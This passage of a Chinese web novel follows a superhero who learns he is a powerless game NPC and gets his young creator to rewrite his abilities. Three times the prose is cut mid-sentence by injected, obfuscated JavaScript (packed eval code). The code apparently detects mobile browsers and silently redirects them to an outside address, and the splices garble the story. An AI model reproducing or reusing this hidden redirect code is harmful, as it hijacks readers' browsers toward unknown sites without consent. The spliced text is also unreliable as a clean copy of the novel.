d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870102|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和的——让我看看‘星链骑士’。” “可以是可以,不过也没什么好看的啊,”旁边一人开口道,“你没有战斗技能,刚才那个装备界面基本上就是全部内容了。” “唰”,百叶帘全部放了下来。 “不对,不是,他说得不全面,”胖男人赶紧补充道,“这是一个可以自选角色的游戏,每个人物都有不同的定位和用处,根据实际情况切换正确的人物也是玩法的一部分。比如豹爪,他高攻高防,打怪,或者要破坏场景的时候就要用他;crystal,她虽然攻击力低,但可以读取记忆,在一些剧情任务和解谜中就用得上……” 星链骑士被说服了,兴致勃勃地听胖男人讲完,然后眨了眨眼,问:“那我的定位是什么?” 胖男人迟疑了一下,两下,三下,终于开口:“团队领袖。” 不容置疑的语气。 确实,星链骑士的亲生母亲也说过——他是主管。 “你是队长,是团队领袖,绝大部分情况下承担指挥队友的重要工作,”胖男人说,“换句话说,你才是玩家真正扮演的角色。他们从你的视角,调遣队友,打败敌人,完成任务——这就是你的定位,你是真正的主角。” 星链骑士又点头了,超级英雄的首肯。胖男人露出放松的笑容:“那我们接下去——” “让我看看人物面板,”星链骑士说,“作为团队的负责人,我要确认一下,我的朋友们在游戏里的能力是否与他们的实际情况相符。” 胖男人挠了挠脸,过了一会儿才慢慢开口:“我们今天的工作还没有完成,要不下次……” “那更要抓紧时间了,”星链骑士说,“看完我就走,不耽误你们工作。” 说完,他没等人反应,直接走到那个瘦精精的西瓜虫面前,一把抓过他手里的手柄,“啪嚓啪嚓”一阵摆弄。投影画面切换到装备界面,队伍列表,道具仓库……很快,人物属性面板出现了。 “我呢?怎么没有我?”星链骑士盯着投影,缓缓推动摇杆,同时自言自语,“噢,明白了,是按照最近使用顺序排列的吧?豹爪,近战物理攻击,高攻高防低敏,不错,他就是这样,力气很大,却笨手笨脚;暗蓝火焰,远程魔法攻击,高攻低防高敏,对,完全是本人,虽然打人疼,但别人打他也很疼,哈哈;crystal,控制型,低攻高防高敏,我就说她打不了架嘛;怎么还有冰弹?他连电影都没露脸……低攻低防高敏……噢,得靠他的能力解谜对吧?我明白。” 星链骑士的声音到此戛然而止。然后是“啪嚓啪嚓”按手柄的声音,“咔哒咔哒”推摇杆的声音。这动静持续了一会儿,他放下了手柄。 “怎么没有我?”星链骑士说,“我不是主角吗,为什么人物面板上没有我?” 一时间,房间里鸦雀无声。所有人的表情都复杂得像一杯搅打过的杂果奶昔。胖男人又搓下巴又搓脑袋,试图从那两处零落的毛囊中搓出一个合适的解释。 终于,有人开口了,是西瓜虫。 “原来你不知道?那可能是我刚才忘了讲,”他推了推眼镜说,“你不是可操作角色,只是个NPC,所以只在剧情动画里才会出场。” 胖男人连连打手势,示意他闭嘴,但来不及了。星链骑士把手柄一放,直接朝他转过身:“什么意思?我是NPC?” “因为……你没有技能啊,”西瓜虫说,“前期策划会上就确定了的,你不会直接参与战斗,只是带队的NPC,作用是……大家在打怪的时候,可以和你对话解闷。不是吗?你一直以来的定位都是长得帅的笨蛋,在故事里从来没有出手战斗过,连必杀技都没有——你们的管理员还特地强调了,一定要尊重人物设定,不能随便更改。” NPC是什么意思?星链骑士的脸色比刚才听见“外包”的时候还要难看,比他的亲生母亲说他的原型是一个讨人厌的主管的时候还要难看——由此判断,应该不是好话。 但说出这个词的西瓜虫似乎还没意识到这一点。 胖男人咳嗽一声,端起早就凉透了的咖啡,走到星链骑士旁边。 “……是策划会议的时候,你们的主创特别强调的——你是特别的,你和其他超级英雄不一样,你几乎没有战斗力,除了能飞和长得帅,其他就是个普通人……”胖男人说着,话头又突然一转,“大家也都是因为这一点才会喜欢你啊!又帅又能打的超级英雄谁没见过?很稀奇吗?你这样的才少见,才讨人喜欢!所以你的人气才会涨得这么快!让你做一个对话的NPC,因为大家都喜欢听你说话,哈哈……那种严肃的超级英雄已经过时了,现在就流行你这样一本正经地说傻话的……” 星链骑士没有再开口。他转身走到我面前,扳住我的肩膀,把我原地旋转180°,然后伸手摘下我背上的餐盒,打开,取出剩下所有的快餐,全部堆放在面前的桌子上。 然后,不顾屋子里的其他人的反应,也不顾被当成长了脸和四肢的衣帽架的我的感受,他提着餐盒,大步走出房间。 29.星链骑士的设定 星链骑士提着餐盒出去了,毅然,决绝,头也不回,仿佛这个房间只是一堆正在熊熊燃烧的废墟,而我们不过是冒烟的椽子和烧焦的墙壁。 平心而论,我也不是不能理解他的感受。所以,虽然他把我当成衣帽架,我还是不计前嫌地快步跟了出去。毕竟我的餐盒还在他手里。 星链骑士一言不发,沿着走廊大步朝前走。我想问他下一站去哪儿,但他不看我,我就没法朝他打手势。他一路走到电梯口,刚刚伸手出去按键,有什么铃声突然响了起来。他停下,掏出手机(和有戏给我的那个很像),应了一声。 电话那头传来一个男人的说话声,语速很快,语气很急。我还没听清几个字,星链骑士又点了一下屏幕,把手机塞回口袋。 从接听到挂断,他一个字都没说。他背对着我,我也看不到他的表情。我正准备走到他面前讨要餐盒,他突然长吸一口气,转身走到走廊另一侧的窗前,打开一扇移窗,纵身跳了出去。 ?这是在干什么? 下一秒,星链骑士的身影自下而上地从窗前飞掠而过,他战斗服上的星星图案在我眼前划出一道明亮的轨迹,仿佛真正的流星。我从窗口探出头,看到他朝着楼顶飞去了,肩上还背着我的餐盒。我愣了一下,立刻按下电梯。可电梯磨磨蹭蹭,走走停停。等我终于到达顶楼天台的时候,那里已经空无一人。 不,有人,我听到有人在说话了。 我朝声音传来的方向转过身,看到天台角落里有一个矮小破旧的水箱房。星链骑士站在小房子背后的阴影中,低着头,声音断断续续地传来,像水面上漂浮的油星。 “怎么可能?” “我什么都不会?” “那为什么我是队长?” “为什么他们都在恭维我?” “管理员不是这么说的。” “他们和他们,肯定有一方在骗我……” 我朝他过去了。听到我的脚步声,星链骑士抬起头。就算沉浸在悲伤失意之中,他的脸依旧俊美无匹。 “你也来嘲笑我吗?” 那倒不是。 “很滑稽吧?一直以为自己是因为优秀和强大才成为领袖,没想到我才是团队里最没用的那个。” 确实让人不太好受。 “你想笑尽管笑,你一路都跟着我,我丢人的样子全被你看见了,你早就想笑了吧?” 那倒……略微是有一点,但现在没有了。 星链骑士不说话了,长长吐了一口气,又低头望向自己紧握的双手。 然后他再次抬头转向我:“你过来,打我。” ?这又是在干什么? “快点,过来打我!”星链骑士催促道。就算沉浸在焦躁和愤怒中,他的脸依旧俊美无匹。 见我一直站着不动,星链骑士索性放下背上的餐盒,迈步朝我走了过来:“快点!用你的手,打我的脸!” 怕我不知道哪里是脸,还伸手指了指脸,右边。 我从没听过这样的要求——不过凡事总有第一次,对吧? 星链骑士走到我面前了。他刚要开口,我立刻甩手给了他一个耳光,“啪”。 没用多少力,大概就像K剁鱼头的那点力量等级。可他俊美无匹的脸上还是浮现一个淡红的手印。 不得不说,就算被盖了一个手印,他的脸依旧—— “不疼,一点不疼,”星链骑士不可思议地摸了摸脸,“对嘛,我是超级英雄,普通人的攻击怎么可能对我造成伤害……”说着,他又转头朝我望来,“你再用力点。” “啪”,是K凿椰子壳的力量等级,左边。 俊美无匹的脸顿时肿了起来,脑袋也被我打得偏了过去。星链骑士好像懵了一下,又立刻回过神,转过头,抚摸红肿的脸颊:“……不,不疼……不对,是疼的,但不是我受不了的疼……你再来!再用力!” “啪”,我使出了沙滩排球的扣杀,右边。 顿时,星链骑士旋身倒地,胸前的星星又留下灿烂的残影。转过头来的时候,他头发凌乱,眼眶湿润,嘴角带血——啊,这,我有这么用力吗? 我赶紧伸手去扶他。可星链骑士呆愣地坐在原地,目光像冰块一样化开。他两边的脸都肿了,即使是在这种情况下,他依旧……好吧,已经没有刚才那么英俊了。 星链骑士抬头朝我望来。 “为什么我躲不掉?” ? “就算是普通人,察觉到要被打的时候,身体也会本能地躲避。而我是超级英雄,照理说来,只要我想躲,像你这样的外行人根本连碰都碰不到我,”他说着,皱起眉头,“可我刚才根本没有‘躲开’的念头。怎么回事?” 就算问我,我也不知道啊。 “而且,我连‘还手’的想法都没有。你打我的时候,我的大脑是空白的,”星链骑士继续说道,“豹爪之前提过,如果被人打了,他的身体动得比脑子更快,条件反射就是还手打回去。为什么我没有这样的条件反射?” 什么,他自己叫我打他,还打算还手? 星链骑士一下子从地上站起来,快步走到水箱房的墙壁前,猛地挥拳——“砰”一声闷响,墙上多了一个血印,他的眼角又流下一滴泪水。 “……怎么会这样,”星链骑士擦掉眼泪,捂住流血的拳头,五官英俊地扭曲,“好痛……我居然会受伤……?” 那是水泥墙面,一般人用拳头砸那个,都会流血。 当然,超级英雄的话,这一拳挥出之后,受伤的应该是墙,或者楼,或者星球。 星链骑士又颓倒下去,在水泥地上仰天躺下,摊开手脚,像一个既没有被吃掉也没有被收好的伤心受潮姜饼人。我回忆了一下之前遇到过的客人们,似乎确实没见过像他这样的情况:明明是超级英雄,身体强度却和普通人无异。刚才我打他脸的时候,手感轻飘飘的,好像打在一个烤过头的碱水面包上。当然,也有身体素质并不出众,以智慧和魔法见长的超级英雄,可是在身体已经如此羸弱的情况下,星链骑士的智力似乎也没有优秀到……不,对不起,不说了。 这样看来,也许从一开始,他就被设定成一个会飞的普通人。当然,如果超级自信也能算是超能力的话,那他还能多一个技能—— “问题出在设定上!”星链骑士“呼”地坐起来,“是那个女人把我设定成了普通人!所以我现在什么都不会,谁都看不起我!” 啊,突然被增加了智慧吗? “如果让她把我的原始设定改了,我就能拥有力量!”星链骑士握紧了流血的拳头。 确实,这也是个办法。我想起有戏给我的手机。她只是在手机背面写了一句话,就把手机的设定修改了;她说这是身为创作者的能力。那个女孩子是星链骑士的创造者,她创造了他,应该也能修改他吧? 不管怎样,星链骑士点的餐已经分完99%,虽然不知道最后那份三明治是给谁的,但反正只剩下一份,让他自己签收了就行。于是我朝他伸出手,示意他把身后的餐盒交给我,我好回去交差。 星链骑士看着我,点了一下头。果然,挨打让他增加了智慧,居然瞬间就领悟到我的意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894746|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思—— 我伸出的手突然被他一把握住。然后,一股力量拉拽着我猛地冲上天空——他拉着我飞起来了。 “你真是个好人!”星链骑士在风里大声说,“好,我们一起去找她!让她把我改成更强大,更无敌的角色!” ? 我也没那么说啊? 我试图向他表示拒绝。然而一转眼,天台被抛在身后,餐盒也消失在视野中。他抓着我高高飞起,在几乎要触碰到云层的时候一个急刹,原地调转,急速下坠。风割痛了我的耳朵和面颊,我几乎睁不开眼睛。又是突然,下坠的速度一滞,星链骑士悬停在半空。 巨大的惯性差点折断我的手臂。我只能用另一只手也牢牢抓住他。还没回过神,我听到窗户接连打开的声音,然后一些细细的惊呼声从风中传来。 “天哪!” “是不是有人在飞?” “是什么特技吗!” “新电影的宣传?” “好帅啊!” 我睁开眼睛,看到之前经过的某间工作室的窗口敞开着,一个个脑袋从窗洞里探出。那些疲倦的人们睁大了眼睛,脸上焕发出短暂的好奇的神采。 “真的在飞!” “怎么做到的?” 原来“会飞”在这里真的是一件了不得的事。 一片惊讶的议论声中,我听到星链骑士说了句“她不在这”,然后抓着我继续往下俯冲。 又一层,不在。 下一层,不在。 再下一层,依旧不在。 …… 他带着我几乎把整座大厦自上而下地检索了一遍,所有的窗户都打开了,却始终没有发现那个女孩子的身影。她下班了吗? 不过,我原以为那些惊呼和喝彩会让星链骑士重拾自信,因为那些被关在窗户里的人都用向往和羡慕的眼神注视着他,闪亮,炽热,仿佛看到了一只最美丽最神奇的鸟;可被注视的那个似乎已经不太在意这个了。 终于,透过一扇敞开的窗口,我远远看到那个女孩子端着一个大托盘,正在费力地穿过拥挤的长桌。她手中的托盘上摆着四五个厚重的马克杯,每一个都在冒出热气。我赶紧扯了扯星链骑士的衣服,再伸手朝她一指。星链骑士也看到了,他折过身体,鱼一样穿进窗户,在尖叫声和四散飞扬的打印纸中,在她面前降落了。 然后,女孩子手中的托盘也降落了,马克杯也降落了。在它们彻底落地摔碎之前,我用最快的速度接住托盘,用托盘接住杯子,用杯子接住水,把它们就近往桌子上一放。几乎同时,星链骑士用另一只手抄起那姑娘,又在尖叫声和怒吼声,以及更多纷飞的打印纸中飞出窗外,笔直地冲向楼顶。 星链骑士把那女孩子放下的时候,她的脸色不是很好,看上去有点晕车,还摇摇晃晃的,似乎想吐。我伸手扶住她,同时飞快地扭头寻找那个水箱房——谢天谢地,餐盒还在。 终于,女孩子回过神了,压下喉头的午饭,望向星链骑士:“怎么了?你们有什么事吗?” 星链骑士皱着眉,点了点头:“有重要的事。” “是迷路了,找不到游戏开发部吗?”女孩子说,“我可以带你去,不过得马上走,我还有很多工作要做。” 星链骑士轻笑一声,撇了撇嘴:“端茶送水也算吗?” 女孩子的脸色又暗了,局促地捏住了衣摆:“我是新员工……年纪又小……又是女孩子……所以一般都是让我……” “别管这些有的没了,”星链骑士打断她,“现在,马上,立刻——修改我的设定!” 30.星链骑士的速写本 星链骑士开始讲述来龙去脉,关于自己的遭遇,关于自己的能力,关于“修改设定”的重要性和必要性。我趁机重新打量了那个女孩子:偏小偏瘦的个头,脖子细得几乎快要顶不住她的圆溜脑袋,胸背又佝偻着,虽然已经挂上工牌,但看上去还像个营养不良的未成年人;她的上衣和裤子都很皱,像是清早匆匆忙忙从一团乱的衣柜里扯出来的,虽然留着长发,但似乎不是为了美观,我更倾向于她没时间去理发店,毕竟她的刘海是用文件夹夹起来的。和第一次见面的时候相比,她的左手多了一小块烫伤——啊,是那几个冒热气的马克杯。 我的视线扫到她的工牌,上面写着“Vivian”。 Vivian若有所思地点头:“原来是这样……我们当时只是单纯想设计一个搞笑角色,来出出气……不是,来放松一下。没想到会让你这么难过……真是对不起你。”我就知道,没有人能拒绝一个脸上带伤的英俊男人闪着泪光的请求。 “谈不上难过,我的内心像钢铁一样坚强,”星链骑士说,“问题在于,抛开……抛开你们最初的出发点不提,现在的我已经是家喻户晓的超级英雄,到头来连个技能都没有,这多少有点不符常理了吧?以我的名字命名的游戏,我却是个不能战斗的NPC,未免有点过分了吧?会不会被我的粉丝投诉,欺骗消费者?那些人都说,我的设定就是这样,一开始就是这样的。我想,问题就应该出在一开始的设定上。既然是你创造了我,你应该也能修改我的设定——我希望你能把我改成最无敌的英雄,从源头上改变我!让所有人都崇拜我,仰慕我!我的人格像容貌一样完美无瑕,我的力量和智慧都与神齐名!我一次次拯救世界,就像那个奠定我们这一行着装标准的蓝衣服红披风的伟大的朋友!” Vivian跟着他的节奏飞快点头。他说完了,她也停下来,又用手背抬了抬眼镜:“但是……你的设定是我和Joyce一起想出来的,只有我改的话,不知道有没有用……” 星链骑士也愣了一下:“原稿是你们俩一起画的?” “具体地说,画画的部分基本都是我来,”Vivian说,“Joyce主要负责设定和剧情,她想了很多点子,把你做成只会吹牛的普通人,也是她——” “不用管她!”某个词组一出现,星链骑士立刻打断,“这个设定作废!你也不想我一辈子被人看不起吧,妈妈!” 妈妈。 这突如其来的一声“妈妈”,比冬天里塞进脖子的一双冰手还要让我颤抖。 但显然,那个从耳朵红到脖子的女孩子并不这么想。谁能拒绝一个脸上带伤的英俊男人,闪着泪光叫自己妈妈? “好……好的!我现在就改!”Vivian兴奋地睁大了眼睛,厚重的镜片又把她眼中的光芒放大,“所以需要我做什么?怎么样才能修改你的设定?” 星链骑士愣住了,望向我。我也愣住了,看我干嘛? Vivian也朝我望过来了,真诚的目光,带着求助和困惑。我挠了挠头,想起有戏修改手机设定的时候,是写了张纸条贴在手机上,于是朝她比划用手在纸上写字的样子——写张纸条,贴在星链骑士背后,他的设定应该就会变了吧? 星链骑士“啪”地合掌:“我懂了!她的意思是说,我们得找到你最初画我的那张纸,在那张纸上修改设定!” ……也行。 虽然他理解得有些出入,但搞不好这才是正确答案。 Vivian皱起眉头想了一会儿,又迟疑着开口:“当时我随手拿了本速写本,就把你画下来了,后来也一直在那本本子上画……但我不确定那本本子还在不在……” 星链骑士瞪大眼睛:“丢了?” “应该不会,我画画的本子不会乱丢,用完一本就收起来,”Vivian说,“就是……不知道收在哪儿了。” 我觉得任何一种东西,如果不知道它的具体位置,也不能在需要的时候立刻找到,那它就处于“丢”的状态。 “那不还是丢了吗,”星链骑士皱起眉头,“收在哪儿了?办公室?” Vivian低了头:“家里……吧。” “家在哪儿?”星链骑士追问。 Vivian转过身,伸手指向某个方向。这里似乎是这片城区最高的建筑,我顺着她的手指,看到繁华的商业中心,醒目的造型建筑,人来人往的公园,车水马龙的高架桥……在视线的最远处,色彩灰暗的老城区,几乎被广告牌遮住的角落,有几栋聚集在一起的又破又矮的旧公寓。 “就在那边,”Vivian指着那里说,“坐地铁大概40分钟,算上换乘和步行的时间,顺利的话,一个半小时来回。我不能离开太久,现在马上去车站吧——” 星链骑士的眉头皱得更紧了:“为什么住那么远?” “……因为……我的工资就租得起那里的单间。”非常小声。 星链骑士重重地叹了一口气。 然后,不等亲生母亲再次开口,他一把抓起她细精精的胳膊,另一只手提起我的衣领,双腿一纵,再次跃入半空。 “等一下,我还没和组长请假!”Vivian大叫,“他会找我的,他们的杯子还——” “端茶倒水,算什么工作!”星链骑士打断她,“你是他们的同事,不是佣人!他们没手没脚吗?要喝水自己去倒!” 他说得很对,但为什么还要带上我? 我才刚来得及把餐盒抓在手里,下一秒,就像个面粉袋一样被提起。我提着餐盒,星链骑士提着我,冲破云层,疾飞向前。Vivian奋力尖叫,但她的尖叫声被风声割得稀碎,就像纸片擦过我的脸。在她持续尖叫的第32秒,暴躁的飞行停了下来。 我睁开眼睛,看到那处矮小的公寓,外墙是褪色的,逃生梯是生锈的,天台上落满鸟粪,比在远处时看到的样子还要破旧。Vivian也镇静下来了,她有些不好意思地点了点某扇窗口,5楼。 星链骑士提着我们飞到那扇窗前。是移窗,Vivian伸手一挪,窗打开了。然后,屋主带领我们爬进屋内。 (虽然方便,但稍微有点不太安全吧?) 里面的房间并不宽敞,大概4平方左右的卧室,放了简易桌椅,单人床,拼装衣柜,剩下的空间刚刚够一个人走动。以星链骑士肩宽背阔的超级英雄身材,就像一块门板,站在哪儿挡在哪儿。我伸手指指墙壁,示意他要不飞起来贴着墙,比站在地上省空间。他思考5秒后,拒绝了我的提议:“不,我觉得这墙背后没有密室。” Vivian翻找了桌子抽屉,翻找了衣柜搁板,又踩着椅子查看衣柜上面。这房间里的收纳空间可能比我身上的口袋还少,但她依旧花了近半个小时,才在床底下的大纸箱子里找到了一摞速写本。 它们和密封袋里的冬衣放在一起,封面已经被翻得破破烂烂,好几页的边角也翻翘了起来。她小心地把它们从箱子里捧出,就像捧着一窝脆弱的龙蛋。 “我想起来了,上次我好不容易放了半天假,想收拾衣柜,整理到一半的时候,突然来电话叫我去加班,所以才会这样乱放……”Vivian红着脸解释道,“不过现在找到了,找到了!” 她拿起一本脏兮兮的线圈本:“就是这个!当初我就是把你画在这里的!” 哦,A5大小的生命树。 星链骑士眯起眼睛。短短的半天时间,他似乎成长了许多,已经不会动不动就大呼小叫。他侧过身体,挤开我,走到Vivian旁边,看着她一页页往前翻:“这是我实习第一天画的工位,哈哈,当时还不知道这张桌子是三个人共用的。这是茶水间的咖啡机,我一用它就坏,但是它长得好好看,我就把它画下来。这是我和Joyce经常吃饭的餐厅桌子,其实我们午休时间很短,后来又要拨出时间画你,所以饭都是在走廊里边走边吃的……” 她翻页的时候,我一直盯着看。我并不懂画画,速写本上的线条虽然简单,却流畅又精准,寥寥几笔呈现出一种自然放松的感觉。可能她是真的很喜欢工作环境中的那些东西,也是真的很喜欢画画。 “那么,我呢,”星链骑士催促道,“我在哪里?” “快了快了,应该就是这几页,”Vivian说着,飞快地往后翻页,“我记得是把你画在一块边角上的,当时那一页画的是Joyce的午饭——” 声音停了。Vivian皱起眉头,又“哗啦啦”来回翻动纸页,眉头越来越紧,嘴唇也抿了起来。 “奇怪,怎么没了?”她把整本线圈本都翻完了。 “拿错了?”星链骑士立刻去检查箱子里剩下的速写本。但他的块头实在太大,一弯腰就撞到了衣柜。他赶紧侧着直起身,肩膀又顶翻了拉开的抽屉。顿时几声“哐啷”响起,抽屉里柜子里的东西全掉了出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965046|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,本就拥挤的房间变得更加凌乱,似乎连空气都被挤出去了几丝。 星链骑士停住了,定格在半弯腰的动作,就像被按了暂停播放。我飞快地收拾起离我最近的几件东西,原样放回抽屉。收拾的时候,我顺便弯腰低头,去看他的脸——一种混合了尴尬,懊恼,和悲伤的复杂神情。 “……不好意思。”星链骑士小声说。真是少见,超级英雄的歉意。早在几小时前,我还以为他是那种一道歉就会哮喘的人。 “不,这可能不能怪你,”Vivian也有些不好意思地红了脸,“当时我们给你的设定就是‘笨手笨脚’‘什么都做不好’‘只会给人添麻烦’……啊,对不起……我的意思是,这不是你的错,被设定成这样笨拙的人,你应该也很难过。” 星链骑士直起身,长长地吸了一口气。被挤出去的空气好像又从窗口被吸了回来。 “是的,我很难过,”他说,“所以请你务必修改我的设定。” 话题又回来了,他的表情也是。 “但是那一页不见了,”Vivian说,“我也没有印象,说不定是什么时候被撕了,或者掉了……啊,该不会是和编剧讨论剧情的时候,顺手把你扯下来交给她了吧?” 星链骑士眯起了眼睛,超级英雄的不满。我感觉他们再找下去可能也没有结果,于是点了点Vivian手里的线圈本,示意她撕下一页来,直接写。 “这样也行吗?”她在镜片后瞪大眼睛,“写好设定,然后呢?” 我一手戳向星链骑士的脑门:然后贴那里。 于是Vivian坐到桌前,开始为超级英雄创作新的设定。保险起见,她像最开始的那样,先画了一个星链骑士的草图:脸以当前为准,战斗服也根据本人要求做了修改(披风短一点,以免飞的时候卷进飞机螺旋桨),调整发型,拉长身高……做完这些并得到当事人认可之后,她把笔落在了纸张空白处。 “那么,我要开始写了,”Vivian说,“你有什么要求,尽管提——妈妈都满足你!” 她开始写了,他开始说了。 “星链骑士。” “队伍的领袖,深受所有人爱戴。” “拥有团队中最强大的力量,和最机智的头脑。” “不但在战斗中无人能敌,更是用热情和善良为市民们排忧解难的好邻居,好伙伴。” “再次强调,他的力量近似于神。虽然心胸十分宽广,但也千万不要激怒他。” 星链骑士吸了一口气,重点来了的预感。 “必杀技第一式:黑洞神怒,将手掌按向地面,通过引力波操控近地轨道卫星群进行超高速对撞,在目标区域生成持续15秒的人造微型黑洞,吞噬范围内所有物体都无法逃逸,即便是光。” “必杀技第二式:星链审判,将意识上传至太空星链网络,以全人类通讯卫星为媒介,发动覆盖整片星系的超新星模拟打击,从月球轨道投射出由反物质构成的超巨型骑士长枪,撞击瞬间释放相当于太阳百年能量的光爆,足以将类木行星炸成小行星带,技能释放后所有通讯卫星融毁,在地球夜空中形成持续三天的极光星环。” “必杀技第三式:诸神黄昏流星群,从外太空召唤直径300公里的冰巨星残骸,用星链编织成燃烧的泰坦锁链摔向敌人,撞击时会炸出由液态钻石和等离子体构成的蘑菇云,蘑菇伞盖上浮现‘星链骑士’的亲笔签名;因为过于强大,副作用是每次释放会导致地球自转速度改变0.00007秒,需要消耗国际空间站储备的燃料,冷却期间全球卫星电视只能播放猫和老鼠动画片。” 星链骑士一口气说了很久,很久很久,情到深处还要配上肢体动作和表情。说完一段他又伸头过去看看Vivian的速写本,给与“超级英雄的赞许”,或者“超级英雄的指正”。 看得出来,他等这一刻已经很久了。 终于,新的人设创作完成。母子二人共同检查后,露出了满意的微笑。A5的纸面被填得满满当当,连修改后的披风上都写满了字。Vivian郑重地撕下那一页,用手轻轻拈着,平举向前。星链骑士在她面前,在房间狭窄的过道里半跪下来,仿佛真正的骑士接受封勋。 Vivian迟疑着转向我,我指指自己的脑门。她又转回去,深吸一口气,把那张纸贴在星链骑士的额头。 然后……有什么事情发生了? 31.奶奶家 那张纸被按上星链骑士的额头。Vivian稍微用力一摁,纸在他脑门上粘住,又轻飘飘地落下。 有什么事情发生了吗? 我屏住呼吸,睁大眼睛,集中全部注意力去观察。地板没有变化,墙壁没有变化,阳光的光谱没有变化,空气的温度湿度也没有变化,星链骑士的体型和服装同样没有变化。窗外的小鸟照常鸣叫,楼上的脚步声也依旧在头顶轰然作响。 好像什么都没有发生。 星链骑士飞快捡起地上那张纸,重新贴上脑门。但一连三次,它都同样飘落下来,就像一片死透了的叶子。星链骑士不得不用一只手把它按在额头,然后站起身,小声又快速地对我说:“你再打我一下?” 我绕过Vivian,在这狭窄空间允许的范围内,尽可能用力地抡起胳膊给了他一拳。 之所以是拳头而非耳光,是因为我稍微思考了一下,他应该也不想在亲生母亲面前被人抽耳光——我从电视上看到过,抽耳光除了物理上的疼痛之外,还会给与对方一定程度的精神侮辱,那应该是不能让妈妈看见的吧? “啪”,笔直挥出,正中面门,与耳光相比略微沉闷的声音。 星链骑士干脆利落地倒了下去。 超级英雄的伟岸身躯掀翻衣柜,撞开单人床。他重重倒在又脏又旧的老床垫上,立刻被衣柜里倾落的皱巴巴的衣服掩埋。 5秒后,衣服堆里传来轻轻的抽泣声。 “怎……怎么了?不行吗?”Vivian十分惊慌,想把星链骑士挖出来,但我站在她面前,她根本迈不出腿。我也没法给她让道,因为星链骑士倒下了,占地面积更大了。除非我和他一起躺下,不然他的母亲没有办法上前。 抽泣声变大了一些。 “看样子没有用……果然还是因为Joyce不在吧……”Vivian小声说,“但是她已经离职了,不在公司……” 衣服堆被“呼”地掀开。 “她去哪儿了!”星链骑士从床上猛地弹起,“你们不是朋友吗?你就没有她的联系方式?快给她打电话,急事找她!” Vivian一下子红了脸,勾起头:“我也不知道她去哪儿了……可能已经不在这个城市了吧。电话号码早就停机了,刚刚你去游戏开发部的时候,我给她发了邮件,说看到你了,她到现在也没回,可能邮箱地址也没在用了吧……” “是不是你和她吵架了!”星链骑士说着就要朝Vivian 走去,但我不幸被挤在中间,仿佛卡在奶茶吸管里的珍珠,一动不能动,“我刚才就想说,你这种性格到底是直率,还是单纯的情商低?有些话连我这么好脾气的人听了都会生气,更别说其他人!一定是你说话把她激怒了,她才辞职的!” 客观地说,我觉得他的情商也没多高。 Vivian咬住了嘴唇:“我们确实吵架了……因为她说,在这里涂背景是没有前途,让我也跟她一起走。我说……来这里工作是我的梦想,我从小就想画超级英雄的故事,上专修学校也是为了能到这里上班。她又说,梦想是涂背景吗,只要能留在这里,干啥都行吗,要涂一辈子背景吗,靠梦想能吃饱饭吗……” 客观地说,我觉得这位Joyce说话可是气人多了。 星链骑士眯起眼睛,超级英雄的沉默。 也可能是还在5秒思考中。 “她说的其实也有道理……但是,我除了画画什么都不会,也只想画画,从来没想过,除了画画我还能做什么,就算让我离职,我也不知道能去哪儿……”Vivian说,“Joyce跟我不一样,她又聪明又能干,又有才华,当然想走就走……我在课上认识她的时候,她已经去过很多其他的专修学校了。她什么都会,连修汽车都会。像她这样的人,不管去了哪儿,一定都能成功吧……反正,我们就吵架了,然后她离开了公司。” 客观地说,我觉得这能吵起来,不能全怪亲生母亲。 “那现在怎么办?”星链骑士说,“我白来了?你连一丁点能找到她的线索都想不起来?” Vivian抿紧嘴唇,缩起脑袋,一副快要哭出来的样子。我不能眼睁睁地看着女孩子哭,所以在她开始哭之前我要趁早离开这里。还好被星链骑士抓来的时候,我顺手带上了餐盒,现在它就放在窗台外面。我翻过凌乱的床铺,朝窗外伸出胳膊,刚提起餐盒,里面传来“啪嚓”的轻响——啊,还有个三明治留在里面。 我打开餐盒,取出这份最后的餐点。经过一路颠簸,它的卖相有点不太好看,不过这本来也是客人要求的一部分(虽然可能这一路的颠簸让它更不好看了一点,从“被踩过”变成了“被很多人踩过”)。我把它拿出来,递给星链骑士,用我毕生所能的全部沟通技巧向他比划:拿着,签收,我要走了。 星链骑士沉默着眯起眼睛,看样子是进入了5秒的思考时间。思考到第3秒的时候,他的亲生母亲突然凑过来,盯着我手里的东西看。 “这是什么呀,一塌糊涂,”Vivian说,“跟Joyce的奶奶给她做的三明治似的。” 星链骑士朝她转过头去。 新的5秒开始计时。 “你刚刚说什么,”5秒结束,“谁的奶奶给谁做的?” “Joyce的奶奶呀,”Vivian说,“我们第一天上班就很忙,好不容易到了吃饭的时候,Joyce从包里掏出这个,都愣住了。她说是早上出门的时候,奶奶给她塞包里的。奶奶花了很多心思做,还用水果拼成小动物,希望她这份工作能开心——偏偏忘记给她装个饭盒,所以挤完地铁就变成这样了。” 星链骑士又眯起了眼睛:“然后呢?你们不会一起吃了吧?” 